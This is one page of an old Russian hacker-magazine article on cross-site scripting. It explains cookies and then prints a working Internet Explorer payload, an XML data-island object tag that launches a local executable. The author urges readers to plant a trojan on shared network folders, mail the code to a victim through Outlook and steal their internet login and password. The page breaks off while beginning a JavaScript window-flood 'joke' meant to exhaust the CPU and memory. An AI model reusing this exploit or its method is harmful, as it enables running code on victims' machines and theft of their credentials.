|

Cross Site Scripting
Xakep, номер #042, стр. 042-038-4
Про cookies
Cookies – Выпечка (анг.)
Технология Cookies была разработана для решения проблемы сохранения состояния между последовательными сессиями на сайте. Она позволяет вебсерверу записывать на жесткий диск клиента некоторые данные и извлекать их по мере надобности. Cookies широко используются, например, в online-магазинах: существенная часть любой “shopping cart” работает с использованием cookies, в которых сохраняет информацию о выбранных пользователем товарах, что позволяет юзеру, вернувшись через некоторое время, продолжить покупки с этого же места, ну или оплатить уже набранные товары.
Так же их часто используют для повторной идентификации пользователя: после ввода пароля, он кладется пользователю в Куки, и более ничего вводить не требуется.
Удобно, ничего не скажешь. Но небезопасно;)
Естественно, чтобы избежать злоупотреблений, введены некоторые ограничения на использование кукисов:
Броузер не может иметь более 300 cookies и более 20 cookies от одного сервера, так же, информация из cookies доступна только тому серверу, откуда она была получена.
/* Запускаем проги! */
Слышал, какой давеча флейм развели: "Ишак позволяет удаленно запускать проги на машине клиента! Работает на всех версиях!" Ну вот, будем запускать. Правда, сфера применения этого бага поуже - моя непатченная НТя спрашивает: реально ли я хочу запустить такое-то приложение, ведь оно без сертификата? :)
9x, говорят, vulnerable по полной программе. На самом деле, про эту брешь известно уже давно. Просто так уж повелось, что в рунетовские secure-ленты известия приходят с некоторой задержкой ;). Securityfocus, по-моему, писал про баг чуть ли не полтора года назад. Как бы то ни было, набиваем:
<span datasrc="#oExec" datafld="exploit" dataformatas="html"></span>
<xml id="oExec"> <security><exploit>
<![CDATA[
<object id="oFile" classid="clsid:11111111-1111-1111-1111-111111111111" codebase="c:/winnt/system32/calc.exe"></object>
]]></exploit></security></xml>
где c:\winnt\system32\calc.exe - путь до запускаемой проги.
Толку с этого бага уйма. Ты сможешь запускать своих троянов ;). Т.е. нашел шары в локалке (с доступом в одну директорию, например. Очень часто люди так делают, чтобы обмениваться софтом, музыкой, фильмами и прочей шнягой), залил туда трояна, законнектился с чуваком, прислал ему в аутГЛЮК вышеприведенный код и получил заветный uin/пасс к инету.
/* Let's joke! */
Уууу... На javaScript можно ТАКОЕ выписывать ;). Самое безобидное: по экрану летает окно, способное к однополому размножению - на каждом новом кругу открывается еще десяток таких же окошек, что приводит к 100% занятости проца, забиванию памяти и нарастанию свопа вплоть до размеров харда ;). Путево? Представляешь, как возрастет спрос на твои антивирусы! ;)
Пиши:
<script language="javascript">
function move_the_window(){
Назад на стр. 042-038-3 Содержание Вперед на стр. 042-038-5
|